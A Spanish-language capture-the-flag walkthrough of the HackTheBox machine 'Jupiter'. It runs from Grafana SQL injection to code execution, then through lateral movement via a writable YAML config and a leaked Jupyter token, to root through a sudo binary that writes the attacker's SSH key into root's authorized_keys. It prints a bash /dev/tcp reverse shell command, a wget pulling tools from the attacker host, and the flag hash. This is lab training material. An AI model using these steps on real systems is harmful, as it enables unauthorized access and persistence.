Jupiter es una máquina de dificultad media en la plataforma de HTB. Para poder acceder a la máquina deberemos realizar un SQLI to RCE en el servicio de grafana. Una vez hemos accedido debemos acceder a otro usuario mediante un fichero YAML. Una vez en el siguiente usuario debemos abusar del servicio de Jupyter que está corriendo internamente para movernos a otro usuario. Por último, para convertirnos en root abusaremos de un binario creando un archivo JSON para que se descargue nuestro id_rsa.pub y así acceder por SSH.
Enumeración
Escaneo de puertos
Iniciamos la máquina realizando un escaneo general para obtener los puertos abiertos.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.216 -oG allPorts
[sudo] contraseña para mrx:
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 22:14 CEST
Initiating SYN Stealth Scan at 22:14
Scanning 10.10.11.216 [65535 ports]
Discovered open port 80/tcp on 10.10.11.216
Discovered open port 22/tcp on 10.10.11.216
Discovered open port 31339/tcp on 10.10.11.216
Completed SYN Stealth Scan at 22:14, 11.84s elapsed (65535 total ports)
Nmap scan report for 10.10.11.216
Host is up, received user-set (0.049s latency).
Scanned at 2023-06-04 22:14:44 CEST for 12s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.96 seconds
Raw packets sent: 67593 (2.974MB) | Rcvd: 65588 (2.624MB)
Los puertos abiertos son el 22 y el 80.
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Escaneamos los puertos abiertos para obtener los servicios y versiones de los mismos.
❯ nmap -p22,80 -sCV 10.10.11.216 -oN targeted
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 10.10.11.216
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Añadimos el dominio jupiter.htb
Esta es portada de la página web.
Si realizamos un fuzzing para descubrir rutas no encontraremos nada interesante, pero si lo hacemos para posibles subdominios descubrimos que existe kiosk.jupiter.htb.
❯ wfuzz -c --hc=404 --hh=178 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host:FUZZ.jupiter.htb" http://jupiter.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://jupiter.htb/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000009: 400 7 L 12 W 166 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000007: 400 7 L 12 W 166 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000013173: 200 211 L 798 W 34390 Ch "kiosk"
^C /home/mrx/.local/lib/python3.10/site-packages/wfuzz/wfuzz.py:79: UserWarning:Finishing pending requests...
Total time: 62.36035
Processed Requests: 22268
Filtered Requests: 22265
Requests/sec.: 357.0858
Esta sería la página principal del subdominio y se trata de un Grafana. Para el que no conozca, Grafana es un software libre vía web que permite la visualización y el formato de datos métricos.
Grafana dispone de una API, interesante ya que normalmente se suele recabar bastante información. (Data Source API)
Si realizamos una petición a /api/datasources
obtendremos lo siguiente:
[
{
"id": 1,
"uid": "YItSLg-Vz",
"orgId": 1,
"name": "PostgreSQL",
"type": "postgres",
"typeName": "PostgreSQL",
"typeLogoUrl": "public/app/plugins/datasource/postgres/img/postgresql_logo.svg",
"access": "proxy",
"url": "localhost:5432",
"user": "grafana_viewer",
"database": "",
"basicAuth": false,
"isDefault": true,
"jsonData": {
"database": "moon_namesdb",
"sslmode": "disable"
},
"readOnly": false
}
]
Si seguimos buscando por la página oficial de Grafana descubriremos que en la ruta /api/ds/query
se pueden realizar peticiones mediante POST y enviar según que información que ya hemos obtenido.
Intrusión
Mediante Burpsuite interceptamos la petición y añadimos la información siguiendo el esquema de la foto anterior. Intentamos realizar un SQLI to RCE, nos intentamos enviarnos un ping y nos llega la petición satisfactoriamente, así que lo siguiente será entablarnos una reverse shell.
Nos ponemos en escucha por el puerto 4444.
❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Enviamos la petición y obtenemos la reverse shell como el usuario postgres.
❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.216 47462
bash: cannot set terminal process group (1700): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
Escalada de privilegios
Movimiento lateral (Postgres -> Juno)
Si vamos a la raíz del sistema nos damos cuenta de que la carpeta dev no es una carpeta común.
postgres@jupiter:/$ ls -l
total 64
lrwxrwxrwx 1 root root 7 Apr 21 2022 bin -> usr/bin
drwxr-xr-x 4 root root 4096 May 30 13:53 boot
drwxr-xr-x 20 root root 4020 Jun 7 14:26 dev
drwxr-xr-x 108 root root 4096 May 30 13:50 etc
drwxr-xr-x 4 root root 4096 Mar 7 13:00 home
lrwxrwxrwx 1 root root 7 Apr 21 2022 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 21 2022 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 21 2022 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 21 2022 libx32 -> usr/libx32
drwx------ 2 root root 16384 Mar 7 09:42 lost+found
drwxr-xr-x 2 root root 4096 Apr 21 2022 media
drwxr-xr-x 2 root root 4096 May 4 18:59 mnt
drwxr-xr-x 3 root root 4096 May 4 18:59 opt
dr-xr-xr-x 304 root root 0 Jun 7 14:26 proc
drwx------ 7 root root 4096 May 5 12:00 root
drwxr-xr-x 29 root root 900 Jun 7 18:04 run
lrwxrwxrwx 1 root root 8 Apr 21 2022 sbin -> usr/sbin
drwxr-xr-x 6 root root 4096 May 4 18:59 snap
drwxr-xr-x 2 root root 4096 May 4 18:59 srv
dr-xr-xr-x 13 root root 0 Jun 7 14:26 sys
drwxrwxrwt 15 root root 4096 Jun 7 18:16 tmp
drwxr-xr-x 14 root root 4096 Apr 21 2022 usr
drwxr-xr-x 14 root root 4096 May 4 18:59 var
postgres@jupiter:/$
En una de las muchas carpetas descubrimos este archivo YAML bastante interesante, ya que lo podemos editar y ejecuta diferentes herramientas del sistema.
postgres@jupiter:/dev/shm$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
postgres@jupiter:/dev/shm$
Nos descargamos pspy desde nuestra máquina de atacante.
postgres@jupiter:/tmp$ wget http://10.10.14.69/pspy
--2023-06-07 18:23:57-- http://10.10.14.69/pspy
Connecting to 10.10.14.69:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy’
pspy 100%[===================>] 2.96M 3.85MB/s in 0.8s
2023-06-07 18:23:58 (3.85 MB/s) - ‘pspy’ saved [3104768/3104768]
postgres@jupiter:/tmp$ chmod +x pspy
postgres@jupiter:/tmp$ ./pspy
Vemos que el archivo lo ejecuta el usuario juno.
2023/06/07 18:36:01 CMD: UID=1000 PID=6037 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
Creamos un archivo en la ruta /dev/shm, añadimos el siguiente contenido y le damos permisos de ejecución.
postgres@jupiter:/tmp$ cd /dev/shm/
postgres@jupiter:/dev/shm$ ls
network-simulation.yml PostgreSQL.2199750854 shadow.data
postgres@jupiter:/dev/shm$ nano shell.sh
postgres@jupiter:/dev/shm$ cat shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'
postgres@jupiter:/dev/shm$ chmod +x shell.sh
postgres@jupiter:/dev/shm$
Editamos el network-simulation.yml y añadimos lo siguiente.
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash
start_time: 5s
Después de unos minutos el script ha sido ejecutado y obtenemos la consola como Juno.
postgres@jupiter:/tmp$ ls -l bash
-rwsr-xr-x 1 juno juno 1396520 Jun 7 19:14 bash
postgres@jupiter:/tmp$ bash -p
postgres@jupiter:/tmp$ ./bash -p
bash-5.1$ whoami
juno
bash-5.1$
TIP: Para tener mejor consola recomiendo, descargar el id_rsa.pub en la máquina y cambiarle el nombre a authorized_keys para así obtener persistencia.
Movimiento lateral (Juno -> Jovian)
Si miramos a los grupos vemos que pertenece al grupo science.
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
Buscamos algún archivo asociado a dicho grupo y podemos encontrar un directorio que contiene scripts de Jupyter.
juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
juno@jupiter:~$
Si miramos los puertos internos abiertos, descubrimos que el 8888 está abierto.
juno@jupiter:/opt/solar-flares$ netstat -ntpl [14/14]
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Si buscamos cuál sé el puerto por defecto de Jupyter encontramos que es el 8888, así en este caso Jupyter está corriendo internamente.
Nos conectamos por SSH realizando un port forwarding para poder acceder a Jupyter.
❯ ssh -L 8888:127.0.0.1:8888 [email protected]
Accedemos y lo que nos pide es una contraseña o un token, al no disponer de ninguna miramos los logs de la carpeta encontrada anteriormente.
Si filtramos la palabra token descubrimos varios tokens, utilizamos el último.
logs/jupyter-2023-06-07-26.log: http://localhost:8888/?token=166bc24a89515f0e88e4cc1bb3e71967a3519d8d4621546c
logs/jupyter-2023-06-07-26.log: or http://127.0.0.1:8888/?token=166bc24a89515f0e88e4cc1bb3e71967a3519d8d4621546c
Accedemos y se trata de la carpeta encontrada anteriormente.
Creamos un archivo y nos intentamos entablar una reverse shell mediante Python.
Lo ejecutamos y obtenemos una consola como Jovian. Volvemos a copiar nuestro id_rsa.pub en el archivo authorized_keys para poder conectarnos por SSH.
❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.216 34984
bash: cannot set terminal process group (44357): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jovian@jupiter:/opt/solar-flares$
Movimiento lateral (Jovian -> Root)
Si miramos los permisos que dispone, podemos ejecutar el siguiente binario.
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
jovian@jupiter:~$
El siguiente binario lo que hace es básicamente localizar satélites a través de archivos de configuración.
Para obtener más información sobre qué parámetros debe haber en el archivo, debemos buscar la palabra "config" y obtenedremos la información que necesitamos.
El archivo debe residir en el directorio /tmp y debe tener el nombre de config.json, y los parámetros del archivo són: tleroot, updatePerdiod, station, name, lat, lon, hgt, mapfile, texturefile y tlefile.
jovian@jupiter:~$ strings /usr/local/bin/sattrack | grep "config"
/tmp/config.json
tleroot not defined in config
updatePerdiod not defined in config
station not defined in config
name not defined in config
lat not defined in config
lon not defined in config
hgt not defined in config
mapfile not defined in config
texturefile not defined in config
tlefile not defined in config
su_lib_log_config
_GLOBAL__sub_I__Z6configB5cxx11
jovian@jupiter:~$
En el siguiente repositorio encontramos un archivo de configuración con los mismos parámetros para así hacernos una idea del esquema que hay que seguir. Sattrack Repositori
En nuestro caso el archivo debería de ser así. Esto lo que hace es basicamente descargar nuestro id_rsa.pub y añadirlo al authorized_keys del usuario root.
jovian@jupiter:~$ cat sattrack.json
{
"tleroot":"/root/.ssh/",
"tlefile":"authorized_keys",
"mapfile":"/home/jovian/earth.png",
"texturefile":"/home/jovian/map.json",
"tlesources":[
"http://10.10.14.69/authorized_keys"
],
"updatePerdiod":1000,
"station": {
"name":"LORCA",
"lat": 37.5211,
"lon": -1.5910,
"hgt": 335.05
},
"show": [
],
"columns":[
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
Los archivos: earth.png y map.json los debemos de descargar del repositorio y pasarlos a la máquina víctima.
Abrimos nuestro servidor web.
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Una vez están todos los archivos en sus directorios correspondientes, ejecutamos la herramienta.
jovian@jupiter:~$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.69/authorized_keys
Satellites loaded
No sats
jovian@jupiter:~$
Nos llega la petición de nuestro id_rsa.pub
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [10/Jun/2023 00:58:39] "GET /authorized_keys HTTP/1.1" 200 -
Nos conectamos por SSH mediante el usuario root y leemos la flag.
❯ ssh [email protected]
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Jun 9 10:59:29 PM UTC 2023
System load: 0.0
Usage of /: 85.4% of 12.33GB
Memory usage: 20%
Swap usage: 0%
Processes: 235
Users logged in: 1
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:c065
=> / is using 85.4% of 12.33GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@jupiter:~# cat root.txt
b363b8bfcd501a637028e97d50a23783
root@jupiter:~#